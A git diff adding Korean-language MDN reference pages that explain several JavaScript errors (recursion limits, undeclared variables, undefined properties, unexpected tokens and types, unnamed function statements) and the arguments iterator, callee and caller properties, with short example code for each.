+ <li>{{jsxref("Functions/rest_parameters", "Rest parameters", "", 1)}}</li>
+ <li>{{jsxref("Operators/Destructuring_assignment", "Destructuring parameters", "", 1)}}</li>
+</ul>
diff --git a/files/ko/web/javascript/reference/errors/too_much_recursion/index.html b/files/ko/web/javascript/reference/errors/too_much_recursion/index.html
new file mode 100644
index 0000000000..90495a359b
--- /dev/null
+++ b/files/ko/web/javascript/reference/errors/too_much_recursion/index.html
@@ -0,0 +1,50 @@
+---
+title: 'InternalError: too much recursion'
+slug: Web/JavaScript/Reference/Errors/Too_much_recursion
+translation_of: Web/JavaScript/Reference/Errors/Too_much_recursion
+---
+<div>{{jsSidebar("Errors")}}</div>
+
+<h2 id="메시지">메시지</h2>
+
+<pre class="syntaxbox">InternalError: too much recursion
+</pre>
+
+<h2 id="에러_형식">에러 형식</h2>
+
+<p><a href="https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/InternalError" title='The InternalError object indicates an error that occurred internally in the JavaScript engine. For example: "InternalError: too much recursion".'><code>InternalError</code></a>.</p>
+
+<h2 id="무엇이_잘못되었을까">무엇이 잘못되었을까?</h2>
+
+<p>자신을 호출하는 함수를 재귀 함수라고 합니다. 어떤 면에서, 재귀는 반복과 유사합니다. 둘 다 같은 코드를 여러 번 실행하며, 조건(무한 반복 피하기, 더 정확히 여기서 말하는 무한 재귀)이 있습니다. 너무 많거나 무한 번의 재귀가 발생할 경우, JavaScript는 이 에러를 던질 것입니다.</p>
+
+<h2 id="예">예</h2>
+
+<p>이 재귀 함수는 exit 조건에 따라 10번을 실행합니다.</p>
+
+<pre class="brush: js">function loop(x) {
+ if (x &gt;= 10) // "x &gt;= 10" is the exit condition
+ return;
+ // do stuff
+ loop(x + 1); // the recursive call
+}
+loop(0);</pre>
+
+<p>이 조건에 대하여 너무 높은 값을 설정 하면 작동하지 않게 됩니다.</p>
+
+<pre class="brush: js example-bad">function loop(x) {
+ if (x &gt;= 1000000000000)
+ return;
+ // do stuff
+ loop(x + 1);
+}
+loop(0);
+
+// InternalError: too much recursion</pre>
+
+<h2 id="참조">참조</h2>
+
+<ul>
+ <li>{{Glossary("Recursion")}}</li>
+ <li><a href="/en-US/docs/Web/JavaScript/Guide/Functions#Recursion">Recursive functions</a></li>
+</ul>
diff --git a/files/ko/web/javascript/reference/errors/undeclared_var/index.html b/files/ko/web/javascript/reference/errors/undeclared_var/index.html
new file mode 100644
index 0000000000..688c92473d
--- /dev/null
+++ b/files/ko/web/javascript/reference/errors/undeclared_var/index.html
@@ -0,0 +1,62 @@
+---
+title: 'ReferenceError: assignment to undeclared variable "x"'
+slug: Web/JavaScript/Reference/Errors/Undeclared_var
+translation_of: Web/JavaScript/Reference/Errors/Undeclared_var
+---
+<div>{{jsSidebar("Errors")}}</div>
+
+<h2 id="메시지">메시지</h2>
+
+<pre class="syntaxbox">ReferenceError: assignment to undeclared variable "x" (Firefox)
+ReferenceError: "x" is not defined (Chrome)
+ReferenceError: Variable undefined in strict mode (Edge)
+</pre>
+
+<h2 id="에러_형식">에러 형식</h2>
+
+<p>엄격 모드(<a href="/en-US/docs/Web/JavaScript/Reference/Strict_mode">strict mode</a>)에서만 발생하는 {{jsxref("ReferenceError")}} 경고.</p>
+
+<h2 id="무엇이_잘못되었을까">무엇이 잘못되었을까?</h2>
+
+<p>선언되지 않은 변수로 값은 할당되었습니다. <code><a href="/en-US/docs/Web/JavaScript/Reference/Statements/var">var</a></code> 키워드가 없이 할당이 된 것입니다. 선언된 변수와 선언되지 않은 변수 사이에는 차이가 있는데, 이는 예상치 못한 결과를 가져오며, 때문에 JavaScript 엄격모드에서는 에러를 발생시키고 있습니다.</p>
+
+<p>선언된 변수와 선언되지 않은 변수에 대하여 기억해야 할 세 가지:</p>
+
+<ul>
+ <li>선언된 변수는 선언된 실행 맥락 내에서 요구됩니다. 선언되지 않은 변수는 항상 전역의 특성을 띱니다.</li>
+ <li>선언된 변수는 코드가 실행되기 전에 생성됩니다. 선언되지 않은 변수는 실행을 위해 할당이 일어날 때까지 존재하지 않습니다.</li>
+ <li>선언된 변수는 실행 맥락 내(함수나 전역적인)에서 변경 불가한 요소입니다. 선언되지 않은 변수는 변경이 가능합니다. (삭제 될 수도 있습니다.)</li>
+</ul>
+
+<p>더 많은 설명과 예제를 필요로 한다면 이 <code><a href="/en-US/docs/Web/JavaScript/Reference/Statements/var">var</a></code> 참조문서 페이지를 보세요.</p>
+
+<p>선언되지 않은 변수 할당에 대한 에러는 엄격 모드(<a href="/en-US/docs/Web/JavaScript/Reference/Strict_mode">strict mode code</a>)에서만 발생합니다. 비-엄격 코드에서는 조용히 묵인됩니다.</p>
+
+<h2 id="예">예</h2>
+
+<h3 id="허용되지_않는_경우">허용되지 않는 경우</h3>
+
+<p>이런 경우에는, 변수 "bar"는 선언되지 않은 변수가 됩니다.</p>
+
+<pre class="brush: js example-bad">function foo() {
+ "use strict";
+ bar = true;
+}
+foo(); // ReferenceError: assignment to undeclared variable bar
+</pre>
+
+<h3 id="허용되는_경우">허용되는 경우</h3>
+
+<p>"bar" 를 선언된 변수로 만들기 위해서, <code><a href="/en-US/docs/Web/JavaScript/Reference/Statements/var">var</a> </code>키워드를 변수명 앞에 붙여줍니다.</p>
+
+<pre class="brush: js example-good">function foo() {
+ "use strict";
+ var bar = true;
+}
+foo();</pre>
+
+<h2 id="참조">참조</h2>
+
+<ul>
+ <li><a href="/en-US/docs/Web/JavaScript/Reference/Strict_mode">Strict mode</a></li>
+</ul>
diff --git a/files/ko/web/javascript/reference/errors/undefined_prop/index.html b/files/ko/web/javascript/reference/errors/undefined_prop/index.html
new file mode 100644
index 0000000000..7919ca877d
--- /dev/null
+++ b/files/ko/web/javascript/reference/errors/undefined_prop/index.html
@@ -0,0 +1,58 @@
+---
+title: 'ReferenceError: reference to undefined property "x"'
+slug: Web/JavaScript/Reference/Errors/Undefined_prop
+translation_of: Web/JavaScript/Reference/Errors/Undefined_prop
+---
+<div>{{jsSidebar("Errors")}}</div>
+
+<h2 id="메시지">메시지</h2>
+
+<pre class="syntaxbox">ReferenceError: reference to undefined property "x" (Firefox)
+</pre>
+
+<h2 id="에러_형식">에러 형식</h2>
+
+<p>엄격 모드(<a href="/en-US/docs/Web/JavaScript/Reference/Strict_mode">strict mode</a>)에서만 발생하는 {{jsxref("ReferenceError")}} 경고.</p>
+
+<h2 id="무엇이_잘못되었을까">무엇이 잘못되었을까?</h2>
+
+<p>이 스크립트는 존재하지 않는 객체의 속성에 접근을 시도했습니다. 요소에 접근하는 방법에는 두 가지가 있습니다.; 더 자세히 알고 싶으시다면, 속성 접근자(<a href="https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Operators/Property_Accessors">property accessors</a>) 참조 문서를 봐주세요. </p>
+
+<p>정의되지 않은 속성 참조에 대한 에러는 엄격 모드 코드(<a href="https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Strict_mode">strict mode code</a>)에서만 발생합니다. 비-엄격모드의 코드에서는 존재하지 않는 속성에 대한 접근은 조용히 무시됩니다.</p>
+
+<h2 id="예">예</h2>
+
+<h3 id="허용되지_않는_경우">허용되지 않는 경우</h3>
+
+<p>이 경우에는, 속성 <code>bar</code> 는 정의되지 않은 속성으로, <code>ReferenceError</code> 가 발생합니다.</p>
+
+<pre class="brush: js example-bad">"use strict";
+
+var foo = {};
+foo.bar; // ReferenceError: reference to undefined property "bar"
+</pre>
+
+<h3 id="허용되는_경우">허용되는 경우</h3>
+
+<p>에러를 피하기 위해서는, 접근을 시도하기 앞서, 객체에 <code>bar</code> 에 대한 정의를 추가하거나 <code>bar</code> 속성의 존재 여부를 확인해야 합니다.; 아래와 같이 {{jsxref("Object.prototype.hasOwnProperty()")}} method)를 사용하는 것이 하나의 방법이 될 수 있습니다.:</p>
+
+<pre class="brush: js example-good">"use strict";
+
+var foo = {};
+
+// bar 속성을 정의한다.
+
+foo.bar = "moon";
+console.log(foo.bar); // "moon"
+
+// bar에 접근하기 전에 존재 하는지 확인한다.
+
+if (foo.hasOwnProperty("bar") {
+ console.log(foo.bar);
+}</pre>
+
+<h2 id="참조">참조</h2>
+
+<ul>
+ <li><a href="/en-US/docs/Web/JavaScript/Reference/Strict_mode">Strict mode</a></li>
+</ul>
diff --git a/files/ko/web/javascript/reference/errors/unexpected_token/index.html b/files/ko/web/javascript/reference/errors/unexpected_token/index.html
new file mode 100644
index 0000000000..91704a6006
--- /dev/null
+++ b/files/ko/web/javascript/reference/errors/unexpected_token/index.html
@@ -0,0 +1,49 @@
+---
+title: 'SyntaxError: Unexpected token'
+slug: Web/JavaScript/Reference/Errors/Unexpected_token
+tags:
+ - 에러
+ - 자바스크립트
+translation_of: Web/JavaScript/Reference/Errors/Unexpected_token
+---
+<div>{{jsSidebar("Errors")}}</div>
+
+<h2 id="메시지">메시지</h2>
+
+<pre class="syntaxbox">SyntaxError: expected expression, got "x"
+SyntaxError: expected property name, got "x"
+SyntaxError: expected target, got "x"
+SyntaxError: expected rest argument name, got "x"
+SyntaxError: expected closing parenthesis, got "x"
+SyntaxError: expected '=&gt;' after argument list, got "x"
+</pre>
+
+<h2 id="에러_타입">에러 타입</h2>
+
+<p>{{jsxref("SyntaxError")}}</p>
+
+<h2 id="무엇이_잘못되었나요">무엇이 잘못되었나요?</h2>
+
+<p>특정 언어 구조를 예상했지만 무언가 다른 것이 있었습니다. 아마도, 간단한 오타일 것입니다.</p>
+
+<h2 id="예제">예제</h2>
+
+<h3 id="예상하지_못한_표현식">예상하지 못한 표현식</h3>
+
+<p>예를 들어, 함수를 호출할 때, 인수에서 마지막 부분에 콤마는 허용되지 않습니다. 자바스크립트는 계속해서 다른 인자가 있을 것이라고 기대하기 때문입니다.</p>
+
+<pre class="brush: js example-bad">Math.max(2, 42,);
+// SyntaxError: expected expression, got ')'
+</pre>
+
+<p>콤마를 생략하거나 다른 인수를 추가해 수정할 수 있습니다.</p>
+
+<pre class="brush: js example-good">Math.max(2, 42);
+Math.max(2, 42, 13+37);
+</pre>
+
+<h2 id="참조">참조</h2>
+
+<ul>
+ <li>{{jsxref("Math.max()")}}</li>
+</ul>
diff --git a/files/ko/web/javascript/reference/errors/unexpected_type/index.html b/files/ko/web/javascript/reference/errors/unexpected_type/index.html
new file mode 100644
index 0000000000..527411ab9a
--- /dev/null
+++ b/files/ko/web/javascript/reference/errors/unexpected_type/index.html
@@ -0,0 +1,67 @@
+---
+title: 'TypeError: "x" is (not) "y"'
+slug: Web/JavaScript/Reference/Errors/Unexpected_type
+tags:
+ - Errors
+ - JavaScript
+ - TypeError
+translation_of: Web/JavaScript/Reference/Errors/Unexpected_type
+---
+<div>{{jsSidebar("Errors")}}</div>
+
+<h2 id="Message">Message</h2>
+
+<pre class="syntaxbox">TypeError: "x" is (not) "y"
+
+Examples:
+TypeError: "x" is undefined
+TypeError: "x" is null
+TypeError: "undefined" is not an object
+TypeError: "x" is not an object or null
+TypeError: "x" is not a symbol
+</pre>
+
+<h2 id="Error_type">Error type</h2>
+
+<p>{{jsxref("TypeError")}}.</p>
+
+<h2 id="What_went_wrong">What went wrong?</h2>
+
+<p>그것은 정확하지 않은 형태이다. 그것은 가끔{{jsxref("undefined")}} 나 {{jsxref("null")}} 값을 발생한다.</p>
+
+<p>또한, {{jsxref("Object.create()")}} 또는 {{jsxref("Symbol.keyFor()")}}와 같은 메서드는 반드시 제공되어야하는 특별한 형태를 요구한다.</p>
+
+<h2 id="Examples">Examples</h2>
+
+<h3 id="Invalid_cases">Invalid cases</h3>
+
+<pre class="brush: js example-bad">// undefined and null cases on which the substring method won't work
+var foo = undefined;
+foo.substring(1); // TypeError: foo is undefined
+
+var foo = null;
+foo.substring(1); // TypeError: foo is null
+
+
+// Certain methods might require a specific type
+var foo = {}
+Symbol.keyFor(foo); // TypeError: foo is not a symbol
+
+var foo = 'bar'
+Object.create(foo); // TypeError: "foo" is not an object or null
+</pre>
+
+<h3 id="Fixing_the_issue">Fixing the issue</h3>
+
+<p>undefined 나 null 값을 가진 null 포인터를 고치기 위해서 아래 예제와 같이 <a href="/en-US/docs/Web/JavaScript/Reference/Operators/typeof">typeof</a> 연산자를 사용할 수 있다.</p>
+
+<pre class="brush: js">if (typeof foo !== 'undefined') {
+ // Now we know that foo is defined, we are good to go.
+}</pre>
+
+<h2 id="See_also">See also</h2>
+
+<ul>
+ <li>{{jsxref("undefined")}}</li>
+ <li>{{jsxref("null")}}</li>
+</ul>
diff --git a/files/ko/web/javascript/reference/errors/unnamed_function_statement/index.html b/files/ko/web/javascript/reference/errors/unnamed_function_statement/index.html
new file mode 100644
index 0000000000..b7afe67563
--- /dev/null
+++ b/files/ko/web/javascript/reference/errors/unnamed_function_statement/index.html
@@ -0,0 +1,118 @@
+---
+title: 'SyntaxError: function statement requires a name'
+slug: Web/JavaScript/Reference/Errors/Unnamed_function_statement
+tags:
+ - IIEF
+ - 객체 메소드
+ - 구문 에러
+ - 자바스크립트
+ - 콜백 함수
+ - 함수 이름
+translation_of: Web/JavaScript/Reference/Errors/Unnamed_function_statement
+---
+<div>{{jsSidebar("Errors")}}</div>
+
+<h2 id="메세지">메세지</h2>
+
+<pre class="syntaxbox">Syntax Error: Expected identifier (Edge)
+SyntaxError: function statement requires a name [Firefox]
+SyntaxError: Unexpected token ( [Chrome]
+</pre>
+
+<h2 id="에러_타입">에러 타입</h2>
+
+<p>{{jsxref("SyntaxError")}}</p>
+
+<h2 id="무엇이_잘못되었을까">무엇이 잘못되었을까?</h2>
+
+<p><a href="https://developer.mozilla.org/ko/docs/Web/JavaScript/Reference/Statements/function">함수 구문</a>(Function statement)은 이름이 필수입니다. 함수가 정의된 방법에 따라 함수의 이름을 짓거나 함수 표현식(Function expression) {{Glossary("IIFE")}}으로 작성하거나, 함수가 맥락에 맞게 제대로 작성되었는지 확인해야 합니다.</p>
+
+<h2 id="예제">예제</h2>
+
+<h3 id="구문_vs_표현식">구문 vs 표현식</h3>
+
+<p><a href="https://developer.mozilla.org/ko/docs/Web/JavaScript/Reference/Statements/function">함수 구문</a>(또는 함수 선언)은 이름이 필요하므로 아래 예제는 동작하지 않습니다:</p>
+
+<pre class="brush: js example-bad">function () {
+ return 'Hello world';
+}
+// SyntaxError: function statement requires a name
+</pre>
+
+<p>대신 <a href="https://developer.mozilla.org/ko/docs/Web/JavaScript/Reference/Operators/function">함수 표현식</a>을 사용할 수 있습니다:</p>
+
+<pre class="brush: js example-good">var greet = function() {
+ return 'Hello world';
+};</pre>
+
+<p>또는, 선언하자마자 바로 실행되는 <a href="https://en.wikipedia.org/wiki/Immediately-invoked_function_expression">IIFE</a> (Immediately Invoked Function Expression)를 사용할 수 있습니다. 이 경우 몇 개의 괄호가 더 필요합니다:</p>
+
+<pre class="brush: js example-good">(function () {
+
+})();</pre>
+
+<h3 id="레이블을_붙인_함수">레이블을 붙인 함수</h3>
+
+<p>만약 함수 <a href="https://developer.mozilla.org/ko/docs/Web/JavaScript/Reference/Statements/label">레이블</a>을 사용하는 경우 <code>function</code> 키워드 뒤에 함수 이름이 필요하므로 아래 예제는 동작하지 않습니다:</p>
+
+<pre class="brush: js example-bad">function Greeter() {
+ german: function () {
+ return "Moin";
+ }
+}
+// SyntaxError: function statement requires a name
+</pre>
+
+<p>아래 예제는 동작합니다:</p>
+
+<pre class="brush: js example-good">function Greeter() {
+ german: function g() {
+ return "Moin";
+ }
+}</pre>
+
+<h3 id="객체_메소드">객체 메소드</h3>
+
+<p>만약 객체 메소드를 만드는 경우 먼저 객체를 만들어야 합니다. 객체 메소드의 경우 아래 예제와 같이 <code>function</code> 키워드 뒤에 이름이 없어도 정상적으로 동작합니다.</p>
+
+<pre class="brush: js example-good">var greeter = {
+ german: function () {
+ return "Moin";
+ }
+};</pre>
+
+<h3 id="콜백_구문">콜백 구문</h3>
+
+<p>콜백을 사용하는 경우 구문을 확인해야 합니다. 괄호와 쉼표는 구문을 어렵게 만듭니다.</p>
+
+<pre class="brush: js example-bad">promise.then(
+ function() {
+ console.log("success");
+ });
+ function() {
+ console.log("error");
+}
+// SyntaxError: function statement requires a name
+</pre>
+
+<p>올바르게 변경하면:</p>
+
+<pre class="brush: json example-good">promise.then(
+ function() {
+ console.log("success");
+ },
+ function() {
+ console.log("error");
+ }
+);
+</pre>
+
+<h2 id="같이_보기">같이 보기</h2>
+
+<ul>
+ <li><a href="https://developer.mozilla.org/ko/docs/Web/JavaScript/Guide/%ED%95%A8%EC%88%98">함수</a></li>
+ <li><a href="https://developer.mozilla.org/ko/docs/Web/JavaScript/Reference/Statements/function">함수 구문</a></li>
+ <li><a href="https://developer.mozilla.org/ko/docs/Web/JavaScript/Reference/Operators/function">함수 표현식</a></li>
+ <li><a href="https://en.wikipedia.org/wiki/Immediately-invoked_function_expression">IIFE</a></li>
+ <li><a href="https://developer.mozilla.org/ko/docs/Web/JavaScript/Reference/Statements/label">레이블</a></li>
+</ul>
diff --git a/files/ko/web/javascript/reference/functions/arguments/@@iterator/index.html b/files/ko/web/javascript/reference/functions/arguments/@@iterator/index.html
new file mode 100644
index 0000000000..454c8111b8
--- /dev/null
+++ b/files/ko/web/javascript/reference/functions/arguments/@@iterator/index.html
@@ -0,0 +1,78 @@
+---
+title: 'arguments[@@iterator]()'
+slug: Web/JavaScript/Reference/Functions/arguments/@@iterator
+tags:
+ - Deprecated
+ - Functions
+ - JavaScript
+ - Property
+ - arguments
+translation_of: Web/JavaScript/Reference/Functions/arguments/@@iterator
+---
+<div>{{jsSidebar("Functions")}}</div>
+
+<p><code><strong>@@iterator</strong></code> 속성의 초기값은 {{jsxref("Array.prototype.values")}} 속성의 초기값과 같은 함수 객체입니다.</p>
+
+<h2 id="구문">구문</h2>
+
+<pre class="syntaxbox"><var>arguments</var>[Symbol.iterator]()</pre>
+
+<h2 id="예제">예제</h2>
+
+<h3 id="for...of_반복문을_사용한_반복"><code>for...of</code> 반복문을 사용한 반복</h3>
+
+<pre class="brush: js">function f() {
+ // 브라우저가 for...of 반복문과
+ // for 반복문 안의 let 범위의 변수를 지원해야 합니다.
+ for (let letter of arguments) {
+ console.log(letter);
+ }
+}
+f('w', 'y', 'k', 'o', 'p');
+</pre>
+
+<h2 id="명세">명세</h2>
+
+<table class="standard-table">
+ <tbody>
+ <tr>
+ <th scope="col">Specification</th>
+ <th scope="col">Status</th>
+ <th scope="col">Comment</th>
+ </tr>
+ <tr>
+ <td>{{SpecName('ES6', '#sec-createunmappedargumentsobject', ' CreateUnmappedArgumentsObject')}}</td>
+ <td>{{Spec2('ES6')}}</td>
+ <td>초기 정의.</td>
+ </tr>
+ <tr>
+ <td>{{SpecName('ES6', '#sec-createmappedargumentsobject', ' CreateMappedArgumentsObject')}}</td>
+ <td>{{Spec2('ES6')}}</td>
+ <td>초기 정의.</td>
+ </tr>
+ <tr>
+ <td>{{SpecName('ESDraft', '#sec-createunmappedargumentsobject', 'CreateUnmappedArgumentsObject')}}</td>
+ <td>{{Spec2('ESDraft')}}</td>
+ <td> </td>
+ </tr>
+ <tr>
+ <td>{{SpecName('ESDraft', '#sec-createmappedargumentsobject', 'CreateMappedArgumentsObject')}}</td>
+ <td>{{Spec2('ESDraft')}}</td>
+ <td> </td>
+ </tr>
+ </tbody>
+</table>
+
+<h2 id="브라우저_호환성">브라우저 호환성</h2>
+
+<div>
+
+
+<p>{{Compat("javascript.functions.arguments.@@iterator")}}</p>
+</div>
+
+<h2 id="같이_보기">같이 보기</h2>
+
+<ul>
+ <li>{{jsxref("Array.prototype.values()")}}</li>
+</ul>
diff --git a/files/ko/web/javascript/reference/functions/arguments/callee/index.html b/files/ko/web/javascript/reference/functions/arguments/callee/index.html
new file mode 100644
index 0000000000..13ab0c948d
--- /dev/null
+++ b/files/ko/web/javascript/reference/functions/arguments/callee/index.html
@@ -0,0 +1,203 @@
+---
+title: arguments.callee
+slug: Web/JavaScript/Reference/Functions/arguments/callee
+tags:
+ - Deprecated
+ - Functions
+ - JavaScript
+ - Property
+ - arguments
+translation_of: Web/JavaScript/Reference/Functions/arguments/callee
+---
+<div>{{jsSidebar("Functions")}}</div>
+
+<p><strong><code>arguments.callee</code></strong> 속성(property)은 현재 실행 중인 함수를 포함합니다.</p>
+
+<h2 id="설명">설명</h2>
+
+<p><code>callee</code>는 <code>arguments</code> 객체의 속성입니다. 그 함수의 몸통(body) 내에서 현재 실행 중인 함수를 참조하는 데 쓰일 수 있습니다. 이는 함수의 이름을 알 수 없는 경우에 유용합니다, 가령 이름 없는 함수 식(또한 "익명 함수"라 함) 내에서.</p>
+
+<div class="warning"><strong>경고:</strong> ECMAScript 제5판(ES5) 은 <a href="/ko/docs/JavaScript/Reference/Functions_and_function_scope/Strict_mode" title="Strict mode">엄격 모드</a>에서 <code>arguments.callee()</code>의 사용을 금합니다. function 식(expression)에 이름을 주거나 함수 자체를 호출해야 하는 곳에 function 선언을 사용하여 <code>arguments.callee()</code> 사용을 피하세요.</div>
+
+<h3 id="arguments.callee는_왜_ES5_엄격_모드에서_제거되었나요"><code>arguments.callee</code>는 왜 ES5 엄격 모드에서 제거되었나요?</h3>
+
+<p>(<a href="http://stackoverflow.com/a/235760/578288" title="http://stackoverflow.com/a/235760/578288">olliej의 Stack Overflow 답변</a>에서 고쳐씀)</p>
+
+<p>초기 버전 JavaScript는 유명(named) 함수 식을 허용하지 않습니다. 그리고 이 때문에 재귀(recursive) 함수 식을 만들 수 없습니다.</p>
+
+<p>예를 들어, 이 구문은 작동됩니다:</p>
+
+<pre class="brush: js">function factorial (n) {
+ return !(n &gt; 1) ? 1 : factorial(n - 1) * n;
+}
+
+[1,2,3,4,5].map(factorial);</pre>
+
+<p>하지만 다음은:</p>
+
+<pre class="brush: js">[1,2,3,4,5].map(function (n) {
+ return !(n &gt; 1) ? 1 : /* what goes here? */ (n - 1) * n;
+});</pre>
+
+<p>아닙니다. 이를 우회하기 위해 <code>arguments.callee</code>가 추가되었고 이와 같이 할 수 있습니다</p>
+
+<pre class="brush: js">[1,2,3,4,5].map(function (n) {
+ return !(n &gt; 1) ? 1 : arguments.callee(n - 1) * n;
+});</pre>
+
+<p>그러나, 이는 실로 정말 나쁜 해결책이었습니다. 이는 (다른 <code>arguments</code>, <code>callee</code> 및 <code>caller</code> 문제와 함께) 일반적인 경우에 인라인 및 tail 재귀를 불가능케 하기에 (tracing 등을 통해 선택한 경우에 그것을 달성할 수 있지만 최고의 코드는 검사가 달리 필요하지 않기에 차선입니다.) 다른 주요 문제는 그 재귀 호출이 다른 <code>this</code> 값을 갖는 것입니다. 가령:</p>
+
+<pre class="brush: js">var global = this;
+
+var sillyFunction = function (recursed) {
+ if (!recursed) { return arguments.callee(true); }
+ if (this !== global) {
+ alert("This is: " + this);
+ } else {
+ alert("This is the global");
+ }
+}
+
+sillyFunction();</pre>
+
+<p>ECMAScript 3은 유명(named) 함수 식을 허용해서 이 문제를 해결했습니다. 예를 들면:</p>
+
+<pre class="brush: js">[1,2,3,4,5].map(function factorial (n) {
+ return !(n &gt; 1) ? 1 : factorial(n-1)*n;
+});</pre>
+
+<p>이는 많은 이점이 있습니다:</p>
+
+<ul>
+ <li>함수는 코드 내부에서 다른 함수처럼 호출될 수 있습니다</li>
+ <li>외부 범위(outer scope)에서 변수를 만들지 않습니다 (<a href="http://kangax.github.io/nfe/#example_1_function_expression_identifier_leaks_into_an_enclosing_scope">IE 8 아래는 제외하고</a>)</li>
+ <li>arguments 객체에 액세스하는 것보다 성능이 더 낫습니다</li>
+</ul>
+
+<p>사라지게 됐던 또 다른 기능은 <code>arguments.callee.caller</code> 또는 더 명확하게 <code>Function.caller</code>였습니다. 이는 왜일까요? 자, 어느 시점에서든 당신은 모든 함수의 스택 상 가장 깊은 caller를 찾을 수 있고 위에서 말했듯이 호출 스택 보기는 한 가지 주요 효과가 있습니다: 이는 큰 수의 최적화를 불가능 또는 훨씬 훨씬 더 어렵게 합니다. 예를 들어, 함수 <code>f</code>가 익명(unknown) 함수를 호출하지 않음을 보장할 수 없는 경우, <code>f</code>를 인라인하는 게 가능하지 않습니다. 원래 사소하게 인라인 가능했을 지도 모를 모든 호출 사이트가 다수의 guard를 축적함을 뜻합니다:</p>
+
+<pre class="brush: js">function f (a, b, c, d, e) { return a ? b * c : d * e; }</pre>
+
+<p>JavaScript 인터프리터가 제공된 모든 인수가 호출이 행해진 그 시점에 숫자임을 보장할 수 없다면, 인라인된 코드 앞에 모든 인수에 대한 검사 삽입이 필요합니다. 그렇지 않으면 그 함수를 인라인할 수 없습니다. 이제 이 특정한 경우에 스마트 인터프리터는 더 최적이고 사용되지 않을 값은 확인하지 않을 검사를 재배열할 수 있어야 합니다. 그러나 많은 경우에 그건 그냥 가능하지 않고 그러므로 인라인은 불가능하게 됩니다.</p>
+
+<h2 id="예">예</h2>
+
+<h3 id="익명_재귀_함수에서_arguments.callee_사용하기">익명 재귀 함수에서 <code>arguments.callee</code> 사용하기</h3>
+
+<p>재귀 함수는 자신을 참조할 수 있어야 합니다. 보통, 함수는 그 이름으로 자신을 참조합니다. 그러나, 익명 함수(<a href="/ko/docs/Web/JavaScript/Reference/Operators/function" title="function expression">함수 식</a> 또는 <a href="/ko/docs/Web/JavaScript/Reference/Global_Objects/Function" title="Function constructor"><code>Function</code> 생성자</a>로 생성될 수 있는)는 이름이 없습니다. 그러므로 그를 참조하는 액세스 가능한 변수가 없는 경우, 함수가 자신을 참조할 수 있는 유일한 방법은 <code>arguments.callee</code>에 의해서입니다.</p>
+
+<p>다음 예는 차례로 팩토리얼 함수를 정의하고 반환하는 함수를 정의합니다. 이 예는 매우 실용적이지 않고 같은 결과가 <a href="/ko/docs/Web/JavaScript/Reference/Operators/function" title="named function expressions">유명 함수 식</a>으로 달성될 수 없는 경우가 거의 없습니다.</p>
+
+<pre class="brush: js">function create() {
+ return function(n) {
+ if (n &lt;= 1)
+ return 1;
+ return n * arguments.callee(n - 1);
+ };
+}
+
+var result = create()(5); // 반환값 120 (5 * 4 * 3 * 2 * 1)</pre>
+
+<h3 id="좋은_대안_없는_arguments.callee의_사용">좋은 대안 없는 <code>arguments.callee</code>의 사용</h3>
+
+<p>그러나, 다음과 같은 경우에는 <code>arguments.callee</code>에 대안이 없습니다. 그래서 그 사라짐(deprecation)은 버그가 될 수 있습니다 ({{Bug("725398")}} 참조):</p>
+
+<pre class="brush: js">function createPerson (sIdentity) {
+ var oPerson = new Function("alert(arguments.callee.identity);");
+ oPerson.identity = sIdentity;
+ return oPerson;
+}
+
+var john = createPerson("John Smith");
+
+john();</pre>
+
+<h2 id="스펙">스펙</h2>
+
+<table class="standard-table">
+ <tbody>
+ <tr>
+ <th scope="col">스펙</th>
+ <th scope="col">상태</th>
+ <th scope="col">설명</th>
+ </tr>
+ <tr>
+ <td>{{SpecName('ES1')}}</td>
+ <td>{{Spec2('ES1')}}</td>
+ <td>초기 정의. JavaScript 1.2에서 구현됨</td>
+ </tr>
+ <tr>
+ <td>{{SpecName('ES5.1', '#sec-10.6', 'Arguments Object')}}</td>
+ <td>{{Spec2('ES5.1')}}</td>
+ <td> </td>
+ </tr>
+ <tr>
+ <td>{{SpecName('ES6', '#sec-arguments-exotic-objects', 'Arguments Exotic Objects')}}</td>
+ <td>{{Spec2('ES6')}}</td>
+ <td> </td>
+ </tr>
+ <tr>
+ <td>{{SpecName('ESDraft', '#sec-arguments-exotic-objects', 'Arguments Exotic Objects')}}</td>
+ <td>{{Spec2('ESDraft')}}</td>
+ <td> </td>
+ </tr>
+ </tbody>
+</table>
+
+<h2 id="브라우저_호환성">브라우저 호환성</h2>
+
+<p>{{CompatibilityTable}}</p>
+
+<div id="compat-desktop">
+<table class="compat-table">
+ <tbody>
+ <tr>
+ <th>Feature</th>
+ <th>Chrome</th>
+ <th>Firefox (Gecko)</th>
+ <th>Internet Explorer</th>
+ <th>Opera</th>
+ <th>Safari</th>
+ </tr>
+ <tr>
+ <td>Basic support</td>
+ <td>{{CompatVersionUnknown}}</td>
+ <td>{{CompatVersionUnknown}}</td>
+ <td>{{CompatVersionUnknown}}</td>
+ <td>{{CompatVersionUnknown}}</td>
+ <td>{{CompatVersionUnknown}}</td>
+ </tr>
+ </tbody>
+</table>
+</div>
+
+<div id="compat-mobile">
+<table class="compat-table">
+ <tbody>
+ <tr>
+ <th>Feature</th>
+ <th>Android</th>
+ <th>Chrome for Android</th>
+ <th>Firefox Mobile (Gecko)</th>
+ <th>IE Mobile</th>
+ <th>Opera Mobile</th>
+ <th>Safari Mobile</th>
+ </tr>
+ <tr>
+ <td>Basic support</td>
+ <td>{{CompatVersionUnknown}}</td>
+ <td>{{CompatVersionUnknown}}</td>
+ <td>{{CompatVersionUnknown}}</td>
+ <td>{{CompatVersionUnknown}}</td>
+ <td>{{CompatVersionUnknown}}</td>
+ <td>{{CompatVersionUnknown}}</td>
+ </tr>
+ </tbody>
+</table>
+</div>
+
+<h2 id="참조">참조</h2>
+
+<ul>
+ <li>{{jsxref("Function")}}</li>
+</ul>
diff --git a/files/ko/web/javascript/reference/functions/arguments/caller/index.html b/files/ko/web/javascript/reference/functions/arguments/caller/index.html
new file mode 100644
index 0000000000..bcdc54c7dc
--- /dev/null
+++ b/files/ko/web/javascript/reference/functions/arguments/caller/index.html
@@ -0,0 +1,93 @@
+---
+title: arguments.caller
+slug: Web/JavaScript/Reference/Functions/arguments/caller
+translation_of: Archive/Web/JavaScript/arguments.caller
+---
+<div>{{jsSidebar("Functions")}}</div>
+
+<p>이전의 <strong><code>arguments.caller</code></strong> 속성은 현재 실행한 함수를 적용하여 제공했었습니다. 이 속성은 삭제되었으며 더 이상 작동하지 않습니다.</p>
+
+<h2 id="설명">설명</h2>
+
